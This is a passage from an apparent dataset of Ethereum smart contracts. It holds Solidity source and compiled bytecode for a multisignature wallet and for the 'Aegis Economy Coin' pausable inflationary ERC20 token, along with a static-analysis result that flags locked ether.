owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610167578063173825d91461019b57806320ea8d86146101bc5780632f54bf6e146101d45780633411c81c14610209578063547415251461022d5780637065cb481461025e578063784547a71461027f5780638b51d13f146102975780639ace38c2146102af578063a0e67e2b1461036a578063a8abe69a146103cf578063b5dc40c3146103f4578063b77bf6001461040c578063ba51a6df14610421578063c01a8c8414610439578063c642747414610451578063d74f8edd146104ba578063dc8452cd146104cf578063e20056e6146104e4578063ee22610b1461050b575b600034111561016557604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561017357600080fd5b5061017f600435610523565b60408051600160a060020a039092168252519081900360200190f35b3480156101a757600080fd5b50610165600160a060020a036004351661054b565b3480156101c857600080fd5b506101656004356106d6565b3480156101e057600080fd5b506101f5600160a060020a03600435166107ac565b604080519115158252519081900360200190f35b34801561021557600080fd5b506101f5600435600160a060020a03602435166107c1565b34801561023957600080fd5b5061024c600435151560243515156107e1565b60408051918252519081900360200190f35b34801561026a57600080fd5b50610165600160a060020a036004351661084d565b34801561028b57600080fd5b506101f5600435610986565b3480156102a357600080fd5b5061024c600435610a0a565b3480156102bb57600080fd5b506102c7600435610a79565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032c578181015183820152602001610314565b50505050905090810190601f1680156103595780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037657600080fd5b5061037f610b37565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103bb5781810151838201526020016103a3565b505050509050019250505060405180910390f35b3480156103db57600080fd5b5061037f60043560243560443515156064351515610b9a565b34801561040057600080fd5b5061037f600435610cd3565b34801561041857600080fd5b5061024c610e4c565b34801561042d57600080fd5b50610165600435610e52565b34801561044557600080fd5b50610165600435610ee5565b34801561045d57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261024c948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610fcc9650505050505050565b3480156104c657600080fd5b5061024c610feb565b3480156104db57600080fd5b5061024c610ff0565b3480156104f057600080fd5b50610165600160a060020a0360043581169060243516610ff6565b34801561051757600080fd5b50610165600435611194565b600380548290811061053157fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561056d57600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561059657600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106715782600160a060020a03166003838154811015156105e057fe5b600091825260209091200154600160a060020a031614156106665760038054600019810190811061060d57fe5b60009182526020909120015460038054600160a060020a03909216918490811061063357fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610671565b6001909101906105b9565b600380546000190190610684908261147a565b50600354600454111561069d5760035461069d90610e52565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106fe57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561073357600080fd5b600084815260208190526040902060030154849060ff161561075457600080fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156108465783801561080e575060008181526020819052604090206003015460ff16155b806108325750828015610832575060008181526020819052604090206003015460ff165b1561083e576001820191505b6001016107e5565b5092915050565b30600160a060020a031633600160a060020a031614151561086d57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561089557600080fd5b81600160a060020a03811615156108ab57600080fd5b600380549050600101600454603282111580156108c85750818111155b80156108d357508015155b80156108de57508115155b15156108e957600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b600354811015610a0357600084815260016020526040812060038054919291849081106109b457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109e8576001820191505b6004548214156109fb5760019250610a03565b60010161098b565b5050919050565b6000805b600354811015610a735760008381526001602052604081206003805491929184908110610a3757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a6b576001820191505b600101610a0e565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610b245780601f10610af957610100808354040283529160200191610b24565b820191906000526020600020905b815481529060010190602001808311610b0757829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b8f57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b71575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610bcc578160200160208202803883390190505b50925060009150600090505b600554811015610c5357858015610c01575060008181526020819052604090206003015460ff16155b80610c255750848015610c25575060008181526020819052604090206003015460ff165b15610c4b57808383815181101515610c3957fe5b60209081029091010152600191909101905b600101610bd8565b878703604051908082528060200260200182016040528015610c7f578160200160208202803883390190505b5093508790505b86811015610cc8578281815181101515610c9c57fe5b9060200190602002015184898303815181101515610cb657fe5b60209081029091010152600101610c86565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610d08578160200160208202803883390190505b50925060009150600090505b600354811015610dc55760008581526001602052604081206003805491929184908110610d3d57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610dbd576003805482908110610d7857fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d9e57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610d14565b81604051908082528060200260200182016040528015610def578160200160208202803883390190505b509350600090505b81811015610e44578281815181101515610e0d57fe5b906020019060200201518482815181101515610e2557fe5b600160a060020a03909216602092830290910190910152600101610df7565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610e7257600080fd5b6003548160328211801590610e875750818111155b8015610e9257508015155b8015610e9d57508115155b1515610ea857600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610f0d57600080fd5b6000828152602081905260409020548290600160a060020a03161515610f3257600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610f6657600080fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610fc585611194565b5050505050565b6000610fd9848484611367565b9050610fe481610ee5565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561101857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561104157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561106957600080fd5b600092505b6003548310156110fa5784600160a060020a031660038481548110151561109157fe5b600091825260209091200154600160a060020a031614156110ef57836003848154811015156110bc57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055506110fa565b60019092019161106e565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff1615156111bf57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615156111f457600080fd5b600085815260208190526040902060030154859060ff161561121557600080fd5b61121e86610986565b1561135f576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a506112f295600160a060020a03909216949093919083908301828280156112e85780601f106112bd576101008083540402835291602001916112e8565b820191906000526020600020905b8154815290600101906020018083116112cb57829003601f168201915b5050505050611457565b156113275760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261135f565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a038116151561137f57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926113ff9260028501929101906114a3565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b81548183558181111561149e5760008381526020902061149e918101908301611521565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114e457805160ff1916838001178555611511565b82800160010185558215611511579182015b828111156115115782518255916020019190600101906114f6565b5061151d929150611521565b5090565b610b9791905b8082111561151d57600081556001016115275600a165627a7a723058205ad296a1ed32e8fcf0d9e798f53a6c3ae496ae5cbd26d51ef71641fcdd9f98a40029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,376
0x5c55678808cbc78b90d2f763c56a0abd622908a0
pragma solidity 0.4.24; // File: contracts/zeppelin/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/zeppelin/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/zeppelin/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: contracts/zeppelin/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/zeppelin/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/zeppelin/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/zeppelin/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract PausableToken is StandardToken, Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts/AegisEconomyCoin.sol contract AegisEconomyCoin is PausableToken { string public constant name = "Aegis Economy Coin"; string public constant symbol= "AGEC"; uint256 public constant decimals= 18; uint256 private initialSupply = 10*(10**6)* (10**18); uint256 private finalSupply = 500*(10**6)*(10**18); uint256 private inflationPeriod = 50 years; uint256 private inflationPeriodStart = now; uint256 private releasedTokens; uint256 private inflationPeriodEnd = inflationPeriodStart + inflationPeriod; uint256 private inflationResolution = 100 * (10**8); constructor() public { paused = false; } function balanceOf(address _owner) public view returns (uint256) { //Only contract owner balance is calculated differently. It is dynamic and is always calculated as difference // between totalSupply which is dyanmic and amount of tokens released by the contract. if (_owner == owner) { return totalSupply() - releasedTokens; } else { return balances[_owner]; } } /** * @dev Return dynamic totalSuply of this token. It is linear function. */ function totalSupply() public view returns (uint256) { uint256 currentTime = 0 ; uint256 curSupply = 0; currentTime = now; if (currentTime > inflationPeriodEnd) { currentTime = inflationPeriodEnd; } uint256 timeLapsed = currentTime - inflationPeriodStart; uint256 timePer = _timePer(); curSupply = finalSupply.sub(initialSupply).mul(timePer).div(inflationResolution).add(initialSupply); return curSupply; } function _timePer() internal view returns (uint256 _timePer) { uint currentTime = 0 ; currentTime = now; if (currentTime > inflationPeriodEnd) { currentTime = inflationPeriodEnd; } uint256 timeLapsed = currentTime - inflationPeriodStart; uint256 timePer = timeLapsed.mul(inflationResolution).div(inflationPeriod); return(timePer); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) { require(balanceOf(msg.sender) >= _value); if(msg.sender == owner) { releasedTokens = releasedTokens.add(_value); } else { balances[msg.sender] = balances[msg.sender].sub(_value); } if(_to == owner) { releasedTokens = releasedTokens.sub(_value); } else { balances[_to] = balances[_to].add(_value); } Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) { require(balanceOf(_from) >= _value); require(_value <= allowed[_from][msg.sender]); if(_from == owner) { releasedTokens = releasedTokens.add(_value); } else { balances[_from] = balances[_from].sub(_value); } if(_to == owner) { releasedTokens = releasedTokens.sub(_value); } else { balances[_to] = balances[_to].add(_value); } allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce567146102905780633f4ba83a146102bb5780635c975abb146102d2578063661884631461030157806370a08231146103665780638456cb59146103bd5780638da5cb5b146103d457806395d89b411461042b578063a9059cbb146104bb578063d73dd62314610520578063dd62ed3e14610585578063f2fde38b146105fc575b600080fd5b3480156100f757600080fd5b5061010061063f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610678565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f56106a8565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610738565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610b8b565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102d0610b90565b005b3480156102de57600080fd5b506102e7610c50565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b5061034c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c63565b604051808215151515815260200191505060405180910390f35b34801561037257600080fd5b506103a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c93565b6040518082815260200191505060405180910390f35b3480156103c957600080fd5b506103d2610d45565b005b3480156103e057600080fd5b506103e9610e06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043757600080fd5b50610440610e2c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610480578082015181840152602081019050610465565b50505050905090810190601f1680156104ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104c757600080fd5b50610506600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e65565b604051808215151515815260200191505060405180910390f35b34801561052c57600080fd5b5061056b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111d565b604051808215151515815260200191505060405180910390f35b34801561059157600080fd5b506105e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061114d565b6040518082815260200191505060405180910390f35b34801561060857600080fd5b5061063d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d4565b005b6040805190810160405280601281526020017f41656769732045636f6e6f6d7920436f696e000000000000000000000000000081525081565b6000600360149054906101000a900460ff1615151561069657600080fd5b6106a0838361132c565b905092915050565b6000806000806000809350600092504293506009548411156106ca5760095493505b600754840391506106d961141e565b905061072c60045461071e600a546107108561070260045460055461147690919063ffffffff16565b61148f90919063ffffffff16565b6114ca90919063ffffffff16565b6114e090919063ffffffff16565b92508294505050505090565b6000600360149054906101000a900460ff1615151561075657600080fd5b8161076085610c93565b1015151561076d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f857600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561086e57610863826008546114e090919063ffffffff16565b600881905550610902565b6108bf826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109785761096d8260085461147690919063ffffffff16565b600881905550610a0c565b6109c9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610a9b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461147690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bec57600080fd5b600360149054906101000a900460ff161515610c0757600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610c8157600080fd5b610c8b83836114fe565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cfe57600854610cf66106a8565b039050610d40565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da157600080fd5b600360149054906101000a900460ff16151515610dbd57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985